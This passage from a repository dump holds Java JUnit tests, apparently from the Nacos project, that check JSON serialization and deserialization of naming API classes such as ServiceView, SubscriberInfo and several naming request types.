serviceDetailInfo1 = mapper.readValue(jsonString, ServiceDetailInfo.class);\n        assertEquals(serviceDetailInfo.getNamespaceId(), serviceDetailInfo1.getNamespaceId());\n        assertEquals(serviceDetailInfo.getGroupName(), serviceDetailInfo1.getGroupName());\n        assertEquals(serviceDetailInfo.getServiceName(), serviceDetailInfo1.getServiceName());\n        assertEquals(serviceDetailInfo.isEphemeral(), serviceDetailInfo1.isEphemeral());\n        assertEquals(serviceDetailInfo.getProtectThreshold(), serviceDetailInfo1.getProtectThreshold());\n        assertEquals(serviceDetailInfo.getMetadata(), serviceDetailInfo1.getMetadata());\n        assertEquals(serviceDetailInfo.getSelector(), serviceDetailInfo1.getSelector());\n        assertEquals(serviceDetailInfo.getClusterMap().size(), serviceDetailInfo1.getClusterMap().size());\n        assertEquals(serviceDetailInfo.getClusterMap().keySet(), serviceDetailInfo1.getClusterMap().keySet());\n        for (Map.Entry<String, ClusterInfo> entry : serviceDetailInfo.getClusterMap().entrySet()) {\n            ClusterInfo clusterInfo = entry.getValue();\n            ClusterInfo clusterInfo1 = serviceDetailInfo1.getClusterMap().get(entry.getKey());\n            assertEquals(clusterInfo.getClusterName(), clusterInfo1.getClusterName());\n            assertEquals(clusterInfo.getHealthChecker().getType(), clusterInfo1.getHealthChecker().getType());\n            assertEquals(clusterInfo.getMetadata(), clusterInfo1.getMetadata());\n            assertEquals(clusterInfo.getHosts(), clusterInfo1.getHosts());\n            assertEquals(clusterInfo.getHealthyCheckPort(), clusterInfo1.getHealthyCheckPort());\n            assertEquals(clusterInfo.isUseInstancePortForCheck(), clusterInfo1.isUseInstancePortForCheck());\n        }\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/ServiceViewTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServiceViewTest {\n    \n    private ObjectMapper mapper;\n    \n    private ServiceView serviceView;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        serviceView = new ServiceView();\n        serviceView.setName(\"service\");\n        serviceView.setGroupName(\"group\");\n        serviceView.setClusterCount(2);\n        serviceView.setIpCount(10);\n        serviceView.setHealthyInstanceCount(8);\n        serviceView.setTriggerFlag(\"flag\");\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(serviceView);\n        assertTrue(json.contains(\"\\\"name\\\":\\\"service\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"group\\\"\"));\n        assertTrue(json.contains(\"\\\"clusterCount\\\":2\"));\n        assertTrue(json.contains(\"\\\"ipCount\\\":10\"));\n        assertTrue(json.contains(\"\\\"healthyInstanceCount\\\":8\"));\n        assertTrue(json.contains(\"\\\"triggerFlag\\\":\\\"flag\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"name\\\":\\\"service\\\",\\\"groupName\\\":\\\"group\\\",\\\"clusterCount\\\":2,\"\n                + \"\\\"ipCount\\\":10,\\\"healthyInstanceCount\\\":8,\\\"triggerFlag\\\":\\\"flag\\\"}\";\n        ServiceView serviceView1 = mapper.readValue(jsonString, ServiceView.class);\n        assertEquals(serviceView.getName(), serviceView1.getName());\n        assertEquals(serviceView.getGroupName(), serviceView1.getGroupName());\n        assertEquals(serviceView.getClusterCount(), serviceView1.getClusterCount());\n        assertEquals(serviceView.getIpCount(), serviceView1.getIpCount());\n        assertEquals(serviceView.getHealthyInstanceCount(), serviceView1.getHealthyInstanceCount());\n        assertEquals(serviceView.getTriggerFlag(), serviceView1.getTriggerFlag());\n    }\n    \n    @Test\n    void testToString() {\n        String expected = \"ServiceView{name='service', groupName='group', clusterCount=2, ipCount=10, healthyInstanceCount=8, triggerFlag='flag'}\";\n        assertEquals(expected, serviceView.toString());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/pojo/maintainer/SubscriberInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.maintainer;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SubscriberInfoTest {\n    \n    private ObjectMapper mapper;\n    \n    private SubscriberInfo subscriberInfo;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        subscriberInfo = new SubscriberInfo();\n        subscriberInfo.setNamespaceId(\"namespaceId\");\n        subscriberInfo.setGroupName(\"groupName\");\n        subscriberInfo.setServiceName(\"serviceName\");\n        subscriberInfo.setIp(\"1.1.1.1\");\n        subscriberInfo.setPort(8080);\n        subscriberInfo.setAgent(\"agent\");\n        subscriberInfo.setAppName(\"appName\");\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(subscriberInfo);\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"namespaceId\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"groupName\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"serviceName\\\"\"));\n        assertTrue(json.contains(\"\\\"ip\\\":\\\"1.1.1.1\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":8080\"));\n        assertTrue(json.contains(\"\\\"agent\\\":\\\"agent\\\"\"));\n        assertTrue(json.contains(\"\\\"appName\\\":\\\"appName\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws IOException {\n        String jsonString = \"{\\\"namespaceId\\\":\\\"namespaceId\\\",\\\"groupName\\\":\\\"groupName\\\",\\\"serviceName\\\":\\\"serviceName\\\",\"\n                + \"\\\"ip\\\":\\\"1.1.1.1\\\",\\\"port\\\":8080,\\\"agent\\\":\\\"agent\\\",\\\"appName\\\":\\\"appName\\\"}\";\n        SubscriberInfo subscriberInfo1 = mapper.readValue(jsonString, SubscriberInfo.class);\n        assertEquals(subscriberInfo.getNamespaceId(), subscriberInfo1.getNamespaceId());\n        assertEquals(subscriberInfo.getGroupName(), subscriberInfo1.getGroupName());\n        assertEquals(subscriberInfo.getServiceName(), subscriberInfo1.getServiceName());\n        assertEquals(subscriberInfo.getIp(), subscriberInfo1.getIp());\n        assertEquals(subscriberInfo.getPort(), subscriberInfo1.getPort());\n        assertEquals(subscriberInfo.getAgent(), subscriberInfo1.getAgent());\n        assertEquals(subscriberInfo.getAppName(), subscriberInfo1.getAppName());\n        assertEquals(subscriberInfo.getAddress(), subscriberInfo1.getAddress());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/BasedNamingRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\npublic abstract class BasedNamingRequestTest {\n    \n    protected static final String SERVICE = \"service\";\n    \n    protected static final String GROUP = \"group\";\n    \n    protected static final String NAMESPACE = \"namespace\";\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    public static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    protected void injectNamingRequestBasedInfo(AbstractNamingRequest request) {\n        request.setServiceName(SERVICE);\n        request.setGroupName(GROUP);\n        request.setNamespace(NAMESPACE);\n    }\n    \n    protected void checkNamingRequestBasedInfo(AbstractNamingRequest request) {\n        assertEquals(SERVICE, request.getServiceName());\n        assertEquals(GROUP, request.getGroupName());\n        assertEquals(NAMESPACE, request.getNamespace());\n        assertEquals(NAMING_MODULE, request.getModule());\n    }\n    \n    protected void checkSerializeBasedInfo(String json) {\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"\" + SERVICE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"\" + GROUP + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"namespace\\\":\\\"\" + NAMESPACE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + NAMING_MODULE + \"\\\"\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/BatchInstanceRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.remote.NamingRemoteConstants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass BatchInstanceRequestTest extends BasedNamingRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        BatchInstanceRequest request = new BatchInstanceRequest(NAMESPACE, SERVICE, GROUP,\n                NamingRemoteConstants.BATCH_REGISTER_INSTANCE, Collections.singletonList(new Instance()));\n        String json = mapper.writeValueAsString(request);\n        checkSerializeBasedInfo(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"\" + NamingRemoteConstants.BATCH_REGISTER_INSTANCE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"instances\\\":[{\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"namespace\\\":\\\"namespace\\\",\\\"serviceName\\\":\\\"service\\\",\\\"groupName\\\":\\\"group\\\",\"\n                + \"\\\"type\\\":\\\"batchRegisterInstance\\\",\\\"instances\\\":[{\\\"port\\\":0,\\\"weight\\\":1.0,\\\"healthy\\\":true,\"\n                + \"\\\"enabled\\\":true,\\\"ephemeral\\\":true,\\\"metadata\\\":{},\\\"instanceIdGenerator\\\":\\\"simple\\\",\"\n                + \"\\\"instanceHeartBeatInterval\\\":5000,\\\"instanceHeartBeatTimeOut\\\":15000,\\\"ipDeleteTimeout\\\":30000}],\"\n                + \"\\\"module\\\":\\\"naming\\\"}\";\n        BatchInstanceRequest actual = mapper.readValue(json, BatchInstanceRequest.class);\n        checkNamingRequestBasedInfo(actual);\n        assertEquals(NamingRemoteConstants.BATCH_REGISTER_INSTANCE, actual.getType());\n        assertEquals(1, actual.getInstances().size());\n        assertEquals(new Instance(), actual.getInstances().get(0));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/InstanceRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.remote.NamingRemoteConstants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InstanceRequestTest extends BasedNamingRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        InstanceRequest request = new InstanceRequest(NAMESPACE, SERVICE, GROUP,\n                NamingRemoteConstants.REGISTER_INSTANCE, new Instance());\n        String json = mapper.writeValueAsString(request);\n        checkSerializeBasedInfo(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"\" + NamingRemoteConstants.REGISTER_INSTANCE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"instance\\\":{\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"namespace\\\":\\\"namespace\\\",\\\"serviceName\\\":\\\"service\\\",\\\"groupName\\\":\\\"group\\\",\"\n                + \"\\\"type\\\":\\\"deregisterInstance\\\",\\\"instance\\\":{\\\"port\\\":0,\\\"weight\\\":1.0,\\\"healthy\\\":true,\"\n                + \"\\\"enabled\\\":true,\\\"ephemeral\\\":true,\\\"metadata\\\":{},\\\"instanceIdGenerator\\\":\\\"simple\\\",\"\n                + \"\\\"instanceHeartBeatInterval\\\":5000,\\\"instanceHeartBeatTimeOut\\\":15000,\\\"ipDeleteTimeout\\\":30000},\"\n                + \"\\\"module\\\":\\\"naming\\\"}\";\n        InstanceRequest actual = mapper.readValue(json, InstanceRequest.class);\n        checkNamingRequestBasedInfo(actual);\n        assertEquals(NamingRemoteConstants.DE_REGISTER_INSTANCE, actual.getType());\n        assertEquals(new Instance(), actual.getInstance());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/NamingFuzzyWatchChangeNotifyRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_RESOURCE_CHANGED;\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingFuzzyWatchChangeNotifyRequestTest {\n    \n    private static final String SERVICE_KEY = \"serviceKey\";\n    \n    private static final String CHANGED_TYPE = \"changedType\";\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        NamingFuzzyWatchChangeNotifyRequest request = new NamingFuzzyWatchChangeNotifyRequest(SERVICE_KEY, CHANGED_TYPE);\n        String json = mapper.writeValueAsString(request);\n        assertTrue(json.contains(\"\\\"serviceKey\\\":\\\"\" + SERVICE_KEY + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"changedType\\\":\\\"\" + CHANGED_TYPE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"syncType\\\":\\\"\" + FUZZY_WATCH_RESOURCE_CHANGED + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + NAMING_MODULE + \"\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"serviceKey\\\":\\\"serviceKey\\\",\\\"changedType\\\":\\\"changedType\\\",\"\n                + \"\\\"syncType\\\":\\\"FUZZY_WATCH_RESOURCE_CHANGED\\\",\\\"module\\\":\\\"naming\\\"}\";\n        NamingFuzzyWatchChangeNotifyRequest actual = mapper.readValue(json, NamingFuzzyWatchChangeNotifyRequest.class);\n        assertEquals(SERVICE_KEY, actual.getServiceKey());\n        assertEquals(CHANGED_TYPE, actual.getChangedType());\n        assertEquals(FUZZY_WATCH_RESOURCE_CHANGED, actual.getSyncType());\n        assertEquals(NAMING_MODULE, actual.getModule());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/NamingFuzzyWatchRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingFuzzyWatchRequestTest {\n    \n    private static final String NAMESPACE = \"namespace\";\n    \n    private static final String GROUP_KEY_PATTERN = \"groupKeyPattern\";\n    \n    private static final String WATCH_TYPE = \"watchType\";\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        NamingFuzzyWatchRequest request = new NamingFuzzyWatchRequest(GROUP_KEY_PATTERN, WATCH_TYPE);\n        request.setNamespace(NAMESPACE);\n        Set<String> receivedGroupKeys = new HashSet<>();\n        receivedGroupKeys.add(\"key1\");\n        receivedGroupKeys.add(\"key2\");\n        request.setReceivedGroupKeys(receivedGroupKeys);\n        request.setInitializing(true);\n        \n        String json = mapper.writeValueAsString(request);\n        assertTrue(json.contains(\"\\\"namespace\\\":\\\"\" + NAMESPACE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"groupKeyPattern\\\":\\\"\" + GROUP_KEY_PATTERN + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"watchType\\\":\\\"\" + WATCH_TYPE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"receivedGroupKeys\\\":[\"));\n        assertTrue(json.contains(\"\\\"initializing\\\":true\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + NAMING_MODULE + \"\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"initializing\\\":true,\\\"namespace\\\":\\\"namespace\\\",\\\"groupKeyPattern\\\":\\\"groupKeyPattern\\\",\"\n                + \"\\\"receivedGroupKeys\\\":[\\\"key1\\\",\\\"key2\\\"],\\\"watchType\\\":\\\"watchType\\\",\\\"module\\\":\\\"naming\\\"}\";\n        NamingFuzzyWatchRequest actual = mapper.readValue(json, NamingFuzzyWatchRequest.class);\n        assertEquals(NAMESPACE, actual.getNamespace());\n        assertEquals(GROUP_KEY_PATTERN, actual.getGroupKeyPattern());\n        assertEquals(WATCH_TYPE, actual.getWatchType());\n        assertEquals(true, actual.isInitializing());\n        assertEquals(NAMING_MODULE, actual.getModule());\n        assertEquals(2, actual.getReceivedGroupKeys().size());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/NamingFuzzyWatchSyncRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.remote.request.NamingFuzzyWatchSyncRequest.Context;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingFuzzyWatchSyncRequestTest {\n    \n    private static final String GROUP_KEY_PATTERN = \"groupKeyPattern\";\n    \n    private static final String SYNC_TYPE = \"syncType\";\n    \n    private static final String SERVICE_KEY = \"serviceKey\";\n    \n    private static final String CHANGED_TYPE = \"changedType\";\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        Set<Context> contexts = new HashSet<>();\n        Context context = Context.build(SERVICE_KEY, CHANGED_TYPE);\n        contexts.add(context);\n        \n        NamingFuzzyWatchSyncRequest request = new NamingFuzzyWatchSyncRequest(GROUP_KEY_PATTERN, SYNC_TYPE, contexts);\n        request.setTotalBatch(2);\n        request.setCurrentBatch(1);\n        \n        String json = mapper.writeValueAsString(request);\n        assertTrue(json.contains(\"\\\"groupKeyPattern\\\":\\\"\" + GROUP_KEY_PATTERN + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"syncType\\\":\\\"\" + SYNC_TYPE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"contexts\\\":[{\"));\n        assertTrue(json.contains(\"\\\"serviceKey\\\":\\\"\" + SERVICE_KEY + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"changedType\\\":\\\"\" + CHANGED_TYPE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"totalBatch\\\":2\"));\n        assertTrue(json.contains(\"\\\"currentBatch\\\":1\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + NAMING_MODULE + \"\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"groupKeyPattern\\\":\\\"groupKeyPattern\\\",\\\"contexts\\\":[{\\\"serviceKey\\\":\\\"serviceKey\\\",\"\n                + \"\\\"changedType\\\":\\\"changedType\\\"}],\\\"totalBatch\\\":2,\\\"currentBatch\\\":1,\\\"syncType\\\":\\\"syncType\\\",\\\"module\\\":\\\"naming\\\"}\";\n        NamingFuzzyWatchSyncRequest actual = mapper.readValue(json, NamingFuzzyWatchSyncRequest.class);\n        assertEquals(GROUP_KEY_PATTERN, actual.getGroupKeyPattern());\n        assertEquals(SYNC_TYPE, actual.getSyncType());\n        assertEquals(2, actual.getTotalBatch());\n        assertEquals(1, actual.getCurrentBatch());\n        assertEquals(NAMING_MODULE, actual.getModule());\n        assertEquals(1, actual.getContexts().size());\n        \n        Context context = actual.getContexts().iterator().next();\n        assertEquals(SERVICE_KEY, context.getServiceKey());\n        assertEquals(CHANGED_TYPE, context.getChangedType());\n    }\n    \n    @Test\n    void testBuildSyncNotifyRequest() {\n        Set<Context> contexts = new HashSet<>();\n        Context context = Context.build(SERVICE_KEY, CHANGED_TYPE);\n        contexts.add(context);\n        \n        NamingFuzzyWatchSyncRequest request = NamingFuzzyWatchSyncRequest.buildSyncNotifyRequest(\n                GROUP_KEY_PATTERN, SYNC_TYPE, contexts, 3, 2);\n        \n        assertEquals(GROUP_KEY_PATTERN, request.getGroupKeyPattern());\n        assertEquals(SYNC_TYPE, request.getSyncType());\n        assertEquals(3, request.getTotalBatch());\n        assertEquals(2, request.getCurrentBatch());\n        assertEquals(1, request.getContexts().size());\n        \n        Context actualContext = request.getContexts().iterator().next();\n        assertEquals(SERVICE_KEY, actualContext.getServiceKey());\n        assertEquals(CHANGED_TYPE, actualContext.getChangedType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/NotifySubscriberRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NotifySubscriberRequestTest {\n    \n    private static final String SERVICE = \"service\";\n    \n    private static final String GROUP = \"group\";\n    \n    private static final String NAMESPACE = \"namespace\";\n    \n    private static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        ServiceInfo serviceInfo = new ServiceInfo(GROUP + \"@@\" + SERVICE);\n        NotifySubscriberRequest request = NotifySubscriberRequest.buildNotifySubscriberRequest(serviceInfo);\n        request.setServiceName(SERVICE);\n        